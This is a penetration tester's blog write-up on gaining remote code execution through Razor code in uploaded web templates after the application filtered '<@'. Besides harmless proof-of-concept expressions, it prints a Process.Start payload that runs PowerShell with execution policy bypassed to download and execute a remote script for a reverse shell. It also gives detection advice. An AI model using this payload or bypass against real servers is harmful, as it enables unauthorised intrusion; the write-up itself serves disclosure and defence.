I want a "Red Teaming"
Michael Schneider
Some of my favorite blog articles are also the shortest – just a single tip or bypass. This article is written with that in mind and describes how I recently managed to achieve remote code execution (RCE) on a patched Windows server using Razor Code.
It’s one of the classic weak spots, RCE through file upload – you upload code, such as a PHP script, and call up the site in the hope that it will execute the code on the server. However, this is more and more handled appropriately and the Content-Disposition header is increasingly set correctly to Content-Disposition: attachment; filename="foo.php"
. This means even if it would be client-side code, the code will not execute client-side either.
During a recent web application penetration test, I happened upon a case that was a little different. The application had the option of uploading files that could then be used as templates. The design idea behind it was that companies that used the site could still retain their own CD/CI. Naturally, the site supported HTML and JavaScript. The resulting Cross Site Scripting vulnerability was therefore neither a surprise nor a major risk, as each customer received their own sub-domain.
For my next move, I wanted to test whether server-side code could be executed. My immediate first choice was .NET, because no hardening had been carried out and all response headers pointed to .NET – X-Powered-By: ASP.NET
, x-aspnetmvc-version
and x-aspnet-version
. I needed a simple PoC:
<% PoCLabel.Text = “Alert!”; %> <!DOCTYPE html> <html> <head runat=“server”> <title>PoC</title> </head> <body> <form id=“form1” runat=“server”> <div> <asp:Label runat=“server” id=“PoCLabel”></asp:Label> </div> </form> </body> </html>
But this attempt failed. A simple <
was not filtered – since HTML had to be possible – but <@ was.
Razor code is an option for writing both C# and VB code using a different syntax. The important thing for us here is that we drop the introductory <@, which is filtered by the application. Here’s an example that also serves as proof of concept:
@DateTime.Now
It worked. The site rendered in the template showed the current time of the server. No doubt about it – I had remote code execution. Other useful PoCs include:
@Decimal.Add(7, 7) @AppContext.BaseDirectory @Environment.MachineName
In order to execute code more conveniently, I wanted a reverse shell. The standard Meterpreter payloads support ASP.NET, but not in Razor Code. Alternatively, PowerShell could be used to launch a reverse shell. A quick search for exec for asp.net turned up System.Diagnostics.Process.Start. This function enables commands to be executed in ASP.NET.
A few more thoughts on reverse shells:
ByPass
, and the official description says: “Nothing is blocked and there are no warnings or prompts.”
@System.Diagnostics.Process.Start(“powershell.exe”,”-ExecutionPolicy Bypass -Command IEX (New-Object Net.WebClient).DownloadString(‘http://url/scip.ps1’)”)
The application was provided with a functioning quick fix on the same day as the report. The developers later replaced this with a better fix, as the quick fix broke the CSS.
Anyone trying to detect attacks, take note: this could have been detected by monitoring processes newly spawned by the server process. Alternatively, you can also Monitor PowerShell.
Another option would be PowerShell’s Antimalware Scan Interface (AMSI). Anti-virus software that supports AMSI can also check PowerShell scripts in RAM. Currently, however, AMSI is rarely seen in productive systems.
Our experts will get in contact with you!
Michael Schneider
Marisa Tschopp
Michèle Trebo
Andrea Covello
Our experts will get in contact with you!